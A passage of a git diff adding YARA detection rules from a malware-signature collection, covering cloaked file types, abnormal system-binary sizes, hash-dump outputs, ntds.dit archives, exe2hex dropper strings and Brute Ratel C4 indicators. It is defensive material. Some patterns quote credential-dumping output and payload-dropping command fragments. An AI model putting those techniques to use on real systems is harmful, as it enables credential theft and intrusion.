+		hash4 = "5b8019d339907ab948a413d2be4bdb3e5fdabb320f5edc726dc60b4c70e74c84"
+		id = "21c0c3da-7295-54ad-9947-557a3180af3a"
+	strings:
+		$s1 = "Content-Transfer-Encoding: base64" ascii fullword
+		$s2 = "Content-Type: application/x-mso" ascii fullword
+
+		$x1 = "QWN0aXZlTWltZQA" ascii 	// Base64 encoded 'ActiveMime'
+		$x2 = "0M8R4KGxGuE" ascii 		// Base64 encoded office header D0CF11E0A1B11AE1..
+	condition:
+		uint32be(0) == 0x4d494d45 // "MIME" header
+		and all of ($s*) and 1 of ($x*)
+}
+
+rule Docm_in_PDF {
+   meta:
+      description = "Detects an embedded DOCM in PDF combined with OpenAction"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-05-15"
+      id = "08dfdfda-8ea5-530d-b89b-560415855080"
+   strings:
+      $a1 = /<<\/Names\[\([\w]{1,12}.docm\)/ ascii
+      $a2 = "OpenAction" ascii fullword
+      $a3 = "JavaScript" ascii fullword
+   condition:
+      uint32(0) == 0x46445025 and all of them
+}
diff --git a/yara-Neo23x0/generic_anomalies.yar b/yara-Neo23x0/generic_anomalies.yar
new file mode 100644
index 0000000..c6ef1ab
--- /dev/null
+++ b/yara-Neo23x0/generic_anomalies.yar
@@ -0,0 +1,518 @@
+/*
+
+   Generic Anomalies
+
+   Florian Roth
+   Nextron Systems GmbH
+
+	License: Detetction Rule License 1.1 (https://github.com/SigmaHQ/sigma/blob/master/LICENSE.Detection.Rules.md)
+
+*/
+
+/* Performance killer - value isn't big enough
+rule Embedded_EXE_Cloaking {
+        meta:
+                description = "Detects an embedded executable in a non-executable file"
+                license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+                date = "2015/02/27"
+                score = 65
+        strings:
+                $noex_png = { 89 50 4E 47 }
+                $noex_pdf = { 25 50 44 46 }
+                $noex_rtf = { 7B 5C 72 74 66 31 }
+                $noex_jpg = { FF D8 FF E0 }
+                $noex_gif = { 47 49 46 38 }
+                $mz  = { 4D 5A }
+                $a1 = "This program cannot be run in DOS mode"
+                $a2 = "This program must be run under Win32"
+        condition:
+                (
+                        ( $noex_png at 0 ) or
+                        ( $noex_pdf at 0 ) or
+                        ( $noex_rtf at 0 ) or
+                        ( $noex_jpg at 0 ) or
+                        ( $noex_gif at 0 )
+                )
+                and
+                for any i in (1..#mz): ( @a1 < ( @mz[i] + 200 ) or @a2 < ( @mz[i] + 200 ) )
+}
+*/
+
+// whitelist-approach failed : reworked in SUSP_Known_Type_Cloaked_as_JPG
+
+// rule Cloaked_as_JPG {
+//    meta:
+//       description = "Detects a non-JPEG file cloaked as JPG"
+//       author = "Florian Roth (Nextron Systems)"
+//       date = "2015/03/02"
+//       modified = "2022-09-16"
+//       score = 40
+//    strings:
+//       $fp1 = "<!DOCTYPE" ascii
+//       $fp2 = "Sophos Encrypted File Format" ascii
+//       $fp3 = "This is a critical resource file used by WatchGuard/TDR" ascii
+//    condition:
+//       uint16be(0) != 0xFFD8 and extension == ".jpg"
+//       and filetype != "GIF"
+//       and filetype != "PDF"
+//       and not $fp1 in (0..30)
+//       and not $fp2 at 0
+//       and not $fp3
+//       and not uint16(0) == 0x8b1f /* GZIP */
+//       and not uint16(0) == 0x4d42 /* BMP */
+//       and not uint32(0) == 0x474E5089 /* PNG Header */
+//       and not uint32(0) == 0x002A4949 /* TIFF Header */
+//       and not uint32be(0) == 0x3c737667 /* <svg */
+//       and not uint32be(0) == 0x52494646 /* RIFF (WebP) */
+//       and not uint32be(0x4) == 0x66747970 /* HEIF Header https://github.com/strukturag/libheif/commit/6ca8e2548dbfe21200bae3a7c2c315a1796e3852 */
+//       and not uint32be(0xe) == 0x4a464946 /* JFIF distributed by Matlab */
+//       and not filename matches /\$[Ii][A-Z0-9]{6}/
+//       and not filepath contains "WinSxS"
+//       and not filepath contains "Package_for_RollupFix"
+//       and not filename matches /^\._/
+//       and not filepath contains "$Recycle.Bin"
+//       and not filepath contains "\\Cache\\" /* generic cache e.g. for Chrome: \User Data\Default\Cache\ */
+//       and not filepath contains "\\User Data\\Default\\Extensions\\" // chrome extensions
+//       and not filepath contains "\\cache2\\" // FF cache
+//       and not filepath contains "\\Microsoft\\Windows\\INetCache\\IE\\" // old IE
+//       and not filepath contains "/com.apple.Safari/WebKitCache/"
+//       and not filepath contains "\\Edge\\User Data\\" // some uncommon Edge path
+//       and not filepath contains "/Code/"
+//       and not filepath contains "\\Code\\"
+// }
+
+rule SUSP_Known_Type_Cloaked_as_JPG {
+   meta:
+      description = "Detects a non-JPEG file type cloaked as .jpg"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - replacement for Cloaked_as_JPG rule"
+      date = "2022-09-16"
+      score = 60
+      id = "728908a6-74cf-5bab-a23f-cd03ed209430"
+   condition:
+      ( extension == ".jpg" or extension == ".jpeg" ) and ( 
+         filetype == "EXE" or
+         filetype == "ELF" or
+         filetype == "MACH-O" or
+         filetype == "VBS" or
+         filetype == "PHP" or
+         filetype == "JSP" or
+         filetype == "Python" or
+         filetype == "LSASS Dump File" or
+         filetype == "ASP" or
+         filetype == "BATCH" or
+         filetype == "RTF" or
+         filetype == "MDMP" or
+
+         filetype contains "PowerShell" or
+         filetype contains "Base64"
+      )
+}
+
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-12-21
+    Identifier: Uncommon File Sizes
+*/
+
+rule Suspicious_Size_explorer_exe {
+   meta:
+      description = "Detects uncommon file size of explorer.exe"
+      license = "https://creativecommons.org/licenses/by-nc/4.0/"
+      author = "Florian Roth (Nextron Systems)"
+      score = 60
+      nodeepdive = 1
+      date = "2015-12-21"
+      modified = "2022-04-27"
+      noarchivescan = 1
+      id = "408bdb95-3b15-5f4e-a948-949ea4ce0477"
+   strings:
+      $fp = "Wine placeholder DLL"
+   condition:
+      uint16(0) == 0x5a4d
+      and filename == "explorer.exe"
+      and not filepath contains "teamviewer"
+      and not filepath contains "/lib/wine/fakedlls"
+      and ( filesize < 800KB or filesize > 6500KB )
+      and not $fp
+}
+
+rule Suspicious_Size_chrome_exe {
+    meta:
+      description = "Detects uncommon file size of chrome.exe"
+      author = "Florian Roth (Nextron Systems)"
+      score = 60
+      nodeepdive = 1
+      date = "2015-12-21"
+      modified = "2022-09-15"
+      noarchivescan = 1
+      id = "f164394a-5c02-5056-aceb-044ee118578d"
+    strings:
+      $fp1 = "HP Sure Click Chromium Launcher" wide
+      $fp2 = "BrChromiumLauncher.exe" wide fullword
+    condition:
+      uint16(0) == 0x5a4d
+      and filename == "chrome.exe"
+      and ( filesize < 500KB or filesize > 5000KB )
+      and not 1 of ($fp*)
+}
+
+rule Suspicious_Size_csrss_exe {
+    meta:
+        description = "Detects uncommon file size of csrss.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-21"
+        modified = "2022-01-28"
+        noarchivescan = 1
+        id = "5a247b51-6c91-5753-95b3-4a4c2b2286eb"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "csrss.exe"
+        and ( filesize > 50KB )
+}
+
+rule Suspicious_Size_iexplore_exe {
+    meta:
+        description = "Detects uncommon file size of iexplore.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-21"
+        noarchivescan = 1
+        id = "d097a599-0fad-574f-8281-46c910e8e54d"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "iexplore.exe"
+        and not filepath contains "teamviewer"
+        and ( filesize < 75KB or filesize > 910KB )
+}
+
+rule Suspicious_Size_firefox_exe {
+    meta:
+        description = "Detects uncommon file size of firefox.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-21"
+        noarchivescan = 1
+        id = "73c4b838-9277-5756-a35d-4a644be5ad5d"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "firefox.exe"
+        and ( filesize < 265KB or filesize > 910KB )
+}
+
+rule Suspicious_Size_java_exe {
+    meta:
+        description = "Detects uncommon file size of java.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-21"
+        noarchivescan = 1
+        id = "b6dc297b-8388-5e39-ba77-c027cdea7afa"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "java.exe"
+        and ( filesize < 30KB or filesize > 900KB )
+}
+
+rule Suspicious_Size_lsass_exe {
+    meta:
+        description = "Detects uncommon file size of lsass.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-21"
+        noarchivescan = 1
+        id = "005661c7-7576-5c13-9534-b49c12b2faad"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "lsass.exe"
+        and ( filesize < 10KB or filesize > 100KB )
+}
+
+rule Suspicious_Size_svchost_exe {
+    meta:
+        description = "Detects uncommon file size of svchost.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-21"
+        noarchivescan = 1
+        id = "31a8d00e-ebfc-5001-9c58-d3a2580f16b3"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "svchost.exe"
+        and ( filesize < 14KB or filesize > 100KB )
+}
+
+rule Suspicious_Size_winlogon_exe {
+    meta:
+        description = "Detects uncommon file size of winlogon.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-21"
+        noarchivescan = 1
+        id = "8665e8d0-3b5f-5227-8879-cdd614123439"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "winlogon.exe"
+        and ( filesize < 279KB or filesize > 970KB )
+}
+
+rule Suspicious_Size_igfxhk_exe {
+    meta:
+        description = "Detects uncommon file size of igfxhk.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-21"
+        modified = "2022-03-08"
+        noarchivescan = 1
+        id = "18cc167a-3e65-567f-adcf-d2d311520c1d"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "igfxhk.exe"
+        and ( filesize < 200KB or filesize > 300KB )
+}
+
+rule Suspicious_Size_servicehost_dll {
+    meta:
+        description = "Detects uncommon file size of servicehost.dll"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-23"
+        noarchivescan = 1
+        id = "ac71393c-a475-59e0-b22a-d5ee3d25084b"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "servicehost.dll"
+        and filesize > 150KB
+}
+
+rule Suspicious_Size_rundll32_exe {
+    meta:
+        description = "Detects uncommon file size of rundll32.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-23"
+        noarchivescan = 1
+        id = "5b9feae7-17d8-56e4-870a-ef865f2d09bf"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "rundll32.exe"
+        and ( filesize < 30KB or filesize > 120KB )
+}
+
+rule Suspicious_Size_taskhost_exe {
+    meta:
+        description = "Detects uncommon file size of taskhost.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-23"
+        noarchivescan = 1
+        id = "71b6c853-f490-5d5a-b481-909f6f3a8798"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "taskhost.exe"
+        and ( filesize < 45KB or filesize > 120KB )
+}
+
+rule Suspicious_Size_spoolsv_exe {
+    meta:
+        description = "Detects uncommon file size of spoolsv.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-23"
+        noarchivescan = 1
+        id = "14bb3463-b99f-57e1-8cff-fe9a34771093"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "spoolsv.exe"
+        and ( filesize < 50KB or filesize > 1000KB )
+}
+
+rule Suspicious_Size_smss_exe {
+    meta:
+        description = "Detects uncommon file size of smss.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-23"
+        noarchivescan = 1
+        id = "7bdc8953-9240-5d22-b2a6-fe95fbc101c2"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "smss.exe"
+        and ( filesize < 40KB or filesize > 5000KB )
+}
+
+rule Suspicious_Size_wininit_exe {
+    meta:
+        description = "Detects uncommon file size of wininit.exe"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        score = 60
+        date = "2015-12-23"
+        noarchivescan = 1
+        id = "7b58f497-f214-5bf3-8a5c-8edb52749d09"
+    condition:
+        uint16(0) == 0x5a4d
+        and filename == "wininit.exe"
+        and ( filesize < 90KB or filesize > 800KB )
+}
+
+rule Suspicious_AutoIt_by_Microsoft {
+   meta:
+      description = "Detects a AutoIt script with Microsoft identification"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research - VT"
+      date = "2017-12-14"
+      score = 60
+      hash1 = "c0cbcc598d4e8b501aa0bd92115b4c68ccda0993ca0c6ce19edd2e04416b6213"
+      id = "69b1c93d-ab12-5fdc-b6eb-fb135796d3a9"
+   strings:
+      $s1 = "Microsoft Corporation. All rights reserved" fullword wide
+      $s2 = "AutoIt" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule SUSP_Size_of_ASUS_TuningTool {
+   meta:
+      description = "Detects an ASUS tuning tool with a suspicious size"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+      date = "2018-10-17"
+      modified = "2022-12-21"
+      score = 60
+      noarchivescan = 1
+      hash1 = "d4e97a18be820a1a3af639c9bca21c5f85a3f49a37275b37fd012faeffcb7c4a"
+      id = "d22a1bf9-55d6-5cb4-9537-ad13b23af4d1"
+   strings:
+      $s1 = "\\Release\\ASGT.pdb" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and filesize > 70KB and all of them
+}
+
+rule SUSP_PiratedOffice_2007 {
+   meta:
+      description = "Detects an Office document that was created with a pirated version of MS Office 2007"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/pwnallthethings/status/743230570440826886?lang=en"
+      date = "2018-12-04"
+      score = 40
+      hash1 = "210448e58a50da22c0031f016ed1554856ed8abe79ea07193dc8f5599343f633"
+      id = "b36e9a59-7617-503b-968d-5b6b72b227ea"
+   strings:
+      $s7 = "<Company>Grizli777</Company>" ascii
+   condition:
+      uint16(0) == 0xcfd0 and filesize < 300KB and all of them
+}
+
+rule SUSP_Scheduled_Task_BigSize {
+   meta:
+      description = "Detects suspiciously big scheduled task XML file as seen in combination with embedded base64 encoded PowerShell code"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-12-06"
+      id = "61b07b30-1058-5a53-99e7-2c48ec9d23b5"
+   strings:
+      $a0 = "<Task version=" ascii wide
+      $a1 = "xmlns=\"http://schemas.microsoft.com/windows/" ascii wide
+
+      $fp1 = "</Counter><Counter>" wide
+      $fp2 = "Office Feature Updates Logon" wide
+      $fp3 = "Microsoft Shared" fullword wide
+   condition:
+      uint16(0) == 0xfeff and filesize > 20KB and all of ($a*) and not 1 of ($fp*)
+}
+
+rule SUSP_Putty_Unnormal_Size {
+   meta:
+      description = "Detects a putty version with a size different than the one provided by Simon Tatham (could be caused by an additional signature or malware)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2019-01-07"
+      modified = "2022-06-30"
+      score = 50
+      hash1 = "e5e89bdff733d6db1cffe8b3527e823c32a78076f8eadc2f9fd486b74a0e9d88"
+      hash2 = "ce4c1b718b54973291aefdd63d1cca4e4d8d4f5353a2be7f139a290206d0c170"
+      hash3 = "adb72ea4eab7b2efc2da6e72256b5a3bb388e9cdd4da4d3ff42a9fec080aa96f"
+      hash4 = "1c0bd6660fa43fa90bd88b56cdd4a4c2ffb4ef9d04e8893109407aa7039277db"
+      id = "576b118c-d4be-5ce2-994a-ce3f943dda88"
+   strings:
+      $s1 = "SSH, Telnet and Rlogin client" fullword wide
+
+      $v1 = "Release 0.6" wide
+      $v2 = "Release 0.70" wide
+
+      $fp1 = "KiTTY fork" fullword wide
+   condition:
+      uint16(0) == 0x5a4d
+      and $s1 and 1 of ($v*)
+      and not 1 of ($fp*)
+      // has offset
+      and filesize != 524288
+      and filesize != 495616
+      and filesize != 483328
+      and filesize != 524288
+      and filesize != 712176
+      and filesize != 828400
+      and filesize != 569328
+      and filesize != 454656
+      and filesize != 531368
+      and filesize != 524288
+      and filesize != 483328
+      and filesize != 713592
+      and filesize != 829304
+      and filesize != 571256
+      and filesize != 774200
+      and filesize != 854072
+      and filesize != 665144
+      and filesize != 774200
+      and filesize != 854072
+      and filesize != 665144
+      and filesize != 640000 /* putty provided by Safenet https://thalesdocs.com/gphsm/luna/7.1/docs/network/Content/install/sa_hw_install/hardware_installation_lunasa.htm */
+      and filesize != 650720 /* Citrix XenCenter */
+      and filesize != 662808 /* Citrix XenCenter */
+      and filesize != 651256 /* Citrix XenCenter */
+      and filesize != 664432 /* Citrix XenCenter */
+}
+
+rule SUSP_RTF_Header_Anomaly {
+   meta:
+      description = "Detects malformed RTF header often used to trick mechanisms that check for a full RTF header"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/ItsReallyNick/status/975705759618158593"
+      date = "2019-01-20"
+      modified = "2022-09-15"
+      score = 50
+      id = "fb362640-9a45-5ee5-8749-3980e0549932"
+   condition:
+      uint32(0) == 0x74725c7b and /* {\rt */
+      not uint8(4) == 0x66 /* not f */
+}
+
+rule WEBSHELL_ASPX_ProxyShell_Aug21_1 {
+   meta:
+      description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be PST) and extension"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/"
+      date = "2021-08-13"
+      id = "8f01cbda-b1cf-5556-9f6a-e709df6dadb2"
+   condition:
+      uint32(0) == 0x4e444221 /* PST header: !BDN */
+      and extension == ".aspx"
+}
diff --git a/yara-Neo23x0/generic_cryptors.yar b/yara-Neo23x0/generic_cryptors.yar
new file mode 100644
index 0000000..3b92ce0
--- /dev/null
+++ b/yara-Neo23x0/generic_cryptors.yar
@@ -0,0 +1,24 @@
+
+rule DarkEYEv3_Cryptor {
+	meta:
+		description = "Rule to detect DarkEYEv3 encrypted executables (often malware)"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://darkeyev3.blogspot.fi/"
+		date = "2015-05-24"
+		hash0 = "6b854b967397f7de0da2326bdd5d39e710e2bb12"
+		hash1 = "d53149968eca654fc0e803f925e7526fdac2786c"
+		hash2 = "7e3a8940d446c57504d6a7edb6445681cca31c65"
+		hash3 = "d3dd665dd77b02d7024ac16eb0949f4f598299e7"
+		hash4 = "a907a7b74a096f024efe57953c85464e87275ba3"
+		hash5 = "b1c422155f76f992048377ee50c79fe164b22293"
+		hash6 = "29f5322ce5e9147f09e0a86cc23a7c8dc88721b9"
+		hash7 = "a0382d7c12895489cb37efef74c5f666ea750b05"
+		hash8 = "f3d5b71b7aeeb6cc917d5bb67e2165cf8a2fbe61"
+		score = 55
+		id = "a2b455e5-3021-5662-b593-c1aeeb34c226"
+	strings:
+		$s0 = "\\DarkEYEV3-" 
+	condition:
+		uint16(0) == 0x5a4d and $s0
+}
diff --git a/yara-Neo23x0/generic_dumps.yar b/yara-Neo23x0/generic_dumps.yar
new file mode 100644
index 0000000..c345e06
--- /dev/null
+++ b/yara-Neo23x0/generic_dumps.yar
@@ -0,0 +1,60 @@
+/* Disabled due to Benjamin Delphys sig overlap
+rule LSASS_memory_dump_file {
+   meta:
+      description = "Detects a LSASS memory dump file"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2015/03/31"
+      memory = 0
+      score = 50
+   strings:
+      $s1 = "lsass.exe" ascii fullword
+      $s2 = "wdigest.DLL" wide nocase
+   condition:
+        uint32(0) == 0x504D444D and all of them
+} */
+
+rule NTLM_Dump_Output {
+   meta:
+      description = "NTML Hash Dump output file - John/LC format"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2015-10-01"
+      score = 75
+      id = "d17ee473-317b-57d4-8ea8-7c89e8f2b2ed"
+   strings:
+      $s0 = "500:AAD3B435B51404EEAAD3B435B51404EE:" ascii
+      $s1 = "500:aad3b435b51404eeaad3b435b51404ee:" ascii
+   condition:
+      1 of them
+}
+
+rule Gsecdump_password_dump_file {
+   meta:
+      description = "Detects a gsecdump output file"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://t.co/OLIj1yVJ4m"
+      date = "2018-03-06"
+      score = 65
+      id = "c7c8ab61-f728-5eb2-a5e3-b3dd84980870"
+   strings:
+      $x1 = "Administrator(current):500:" ascii
+   condition:
+      uint32be(0) == 0x41646d69 and filesize < 3000 and $x1 at 0
+}
+
+rule SUSP_ZIP_NtdsDIT : T1003_003 {
+   meta:
+      description = "Detects ntds.dit files in ZIP archives that could be a left over of administrative activity or traces of data exfiltration"
+      author = "Florian Roth (Nextron Systems)"
+      score = 50
+      reference = "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/"
+      date = "2020-08-10"
+      id = "131ed73d-bb34-5ff6-b145-f95e4469d7f9"
+   strings:
+      $s1 = "ntds.dit" ascii 
+   condition:
+      uint16(0) == 0x4b50 and
+      $s1 in (0..256)
+}
diff --git a/yara-Neo23x0/generic_exe2hex_payload.yar b/yara-Neo23x0/generic_exe2hex_payload.yar
new file mode 100644
index 0000000..b681c43
--- /dev/null
+++ b/yara-Neo23x0/generic_exe2hex_payload.yar
@@ -0,0 +1,28 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-15
+	Identifier: Exe2hex
+*/
+
+rule Payload_Exe2Hex {
+	meta:
+		description = "Detects payload generated by exe2hex"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/g0tmi1k/exe2hex"
+		date = "2016-01-15"
+		score = 70
+		id = "c29e4937-cc6a-5265-a3b9-1018228dc956"
+	strings:
+		$a1 = "set /p \"=4d5a" ascii
+		$a2 = "powershell -Command \"$hex=" ascii
+		$b1 = "set+%2Fp+%22%3D4d5" ascii
+		$b2 = "powershell+-Command+%22%24hex" ascii
+		$c1 = "echo 4d 5a " ascii
+		$c2 = "echo r cx >>" ascii
+		$d1 = "echo+4d+5a+" ascii
+		$d2 = "echo+r+cx+%3E%3E" ascii
+	condition:
+		all of ($a*) or all of ($b*) or all of ($c*) or all of ($d*)
+}
diff --git a/yara-Neo23x0/hktl_bruteratel_c4.yar b/yara-Neo23x0/hktl_bruteratel_c4.yar
new file mode 100644
index 0000000..7c4f059
--- /dev/null
+++ b/yara-Neo23x0/hktl_bruteratel_c4.yar
@@ -0,0 +1,290 @@
+import "pe"
+
+rule brc4_core {
+    meta:
+        version = "first version"
+        author = "@ninjaparanoid"
+        reference = "https://github.com/paranoidninja/Brute-Ratel-C4-Community-Kit/blob/main/deprecated/brc4.yara"
+        date = "2022-11-19"
+        description = "Hunts for known strings used in Badger till release v1.2.9 when not in an encrypted state"
+        id = "3a702d21-392f-5b7d-90a7-eb053d259b32"
+    strings:
+        $coreStrings1 = "CLOSED"
+        $coreStrings2 = "LISTENING"
+        $coreStrings3 = "SYN_SENT"
+        $coreStrings4 = "SYN_RCVD"
+        $coreStrings5 = "ESTABLISHED"
+        $coreStrings6 = "FIN_WAIT1"
+        $coreStrings7 = "FIN_WAIT2"
+        $coreStrings8 = "CLOSE_WAIT"
+        $coreStrings9 = "CLOSING"
+        $coreStrings10 = "LAST_ACK"
+        $coreStrings11 = "TIME_WAIT"
+        $coreStrings12 = "DELETE_TCB"
+        $coreStrings13 = "v4.0.30319"
+        $coreStrings14 = "bYXJm/3#M?:XyMBF"
+        $coreStrings15 = "ServicesActive"
+        $coreStrings16 = "coffee"
+        $coreStrings17 = "Until Admin Unlock"
+        $coreStrings18 = "alertable"
+        $coreStrings19 = "%02d%02d%d_%02d%02d%2d%02d_%s"
+        $coreStrings20 = "<Left-Mouse>;"
+        $coreStrings21 = "<Right-Mouse>;"
+        $coreStrings22 = "<Cancel>;"
+        $coreStrings23 = "<Middle-Mouse>;"
+        $coreStrings24 = "<X1-Mouse>;"
+        $coreStrings25 = "<X2-Mouse>;"
+        $coreStrings26 = "<BackSpace>;"
+        $coreStrings27 = "<Enter>;"
+        $coreStrings28 = "<Shift>;"
+        $coreStrings29 = "<CTRL>;"
+        $coreStrings30 = "<ALT>;"
+        $coreStrings31 = "<Pause>;"
+        $coreStrings32 = "<Caps-Lock>;"
+        $coreStrings33 = "<ESC>;"
+        $coreStrings34 = "<Page-Up>;"
+        $coreStrings35 = "<Page-Down>;"
+        $coreStrings36 = "<End>;"
+        $coreStrings37 = "<Home-Key>;"
+        $coreStrings38 = "<Left-Arrow>;"
+        $coreStrings39 = "<Up-Arrow>;"
+        $coreStrings40 = "<Right-Arrow>;"
+        $coreStrings41 = "<Down-Arrow>;"
+        $coreStrings42 = "<Select>;"
+        $coreStrings43 = "<Print-Key>;"
+        $coreStrings44 = "<Print-Screen>;"
+        $coreStrings45 = "<INS>;"
+        $coreStrings46 = "<Delete>;"
+        $coreStrings47 = "<Help>;"
+        $coreStrings48 = "<Left-Windows-Key>;"
+        $coreStrings49 = "<Right-Windows-Key>;"
+        $coreStrings50 = "<Computer-Sleep>;"
+        $coreStrings51 = "<F1>;"
+        $coreStrings52 = "<F2>;"
+        $coreStrings53 = "<F3>;"
+        $coreStrings54 = "<F4>;"
+        $coreStrings55 = "<F5>;"
+        $coreStrings56 = "<F6>;"
+        $coreStrings57 = "<F7>;"
+        $coreStrings58 = "<F8>;"
+        $coreStrings59 = "<F9>;"
+        $coreStrings60 = "<F10>;"
+        $coreStrings61 = "<F11>;"
+        $coreStrings62 = "<F12>;"
+        $coreStrings63 = "<F13>;"
+        $coreStrings64 = "<F14>;"
+        $coreStrings65 = "<F15>;"
+        $coreStrings66 = "<F16>;"
+        $coreStrings67 = "<F17>;"
+        $coreStrings68 = "<F18>;"
+        $coreStrings69 = "<F19>;"
+        $coreStrings70 = "<F20>;"
+        $coreStrings71 = "<F21>;"
+        $coreStrings72 = "<F22>;"
+        $coreStrings73 = "<F23>;"
+        $coreStrings74 = "<F24>;"
+        $coreStrings75 = "<Num-Lock>;"
+        $coreStrings76 = "<Scroll-Lock>;"
+        $coreStrings77 = "<Control>;"
+        $coreStrings78 = "<Menu>;"
+        $coreStrings79 = "<Volume Mute>;"
+        $coreStrings80 = "<Volume Down>;"
+        $coreStrings81 = "<Volume Up>;"
+        $coreStrings82 = "<New Track>;"
+        $coreStrings83 = "<Previous Track>;"
+        $coreStrings84 = "<Play/Pause>;"
+        $coreStrings85 = "<Play>;"
+        $coreStrings86 = "<Zoom>;"
+        $coreStrings87 = "%02X-%02X-%02X-%02X-%02X-%02X"
+        $coreStrings88 = "%02d%02d%d_%02d%02d%2d%02d.png"
+        $coreStrings89 = "%02d-%02d-%d %02d:%02d:%2d"
+        $coreStrings90 = "%ls%s%ls%s%ls%s%ls%lu%ls%s%s"
+        $coreStrings91 = "%ls%ls%ls%ls%ls%ls%ls%ls%ls%ls%ls%ls%ls%d%ls%lu%ls"
+        $coreStrings92 = "bhttp_x64.dll"
+        $coreStrings93 = "  - %-45ls : %d"
+        $coreStrings94 = "  - %-45ls : %ls"
+        $coreStrings95 = "  - %-45ls : %llu"
+        $coreStrings96 = "  - %-45ls : %u"
+        $coreStrings97 = "  - %-45ls : %f"
+        $coreStrings98 = "  - %-45ls : %S"
+        $coreStrings99 = "  - Path: %ls"
+        $coreStrings100 = "  - Enabled: %ls"
+        $coreStrings101 = "  - Last Run: %ls"
+        $coreStrings102 = "  - Next Run: %ls"
+        $coreStrings103 = "  - Current State: %ls"
+        $coreStrings104 = "  - XML Output:"
+        $coreStrings105 = "  - Error fetching xml"
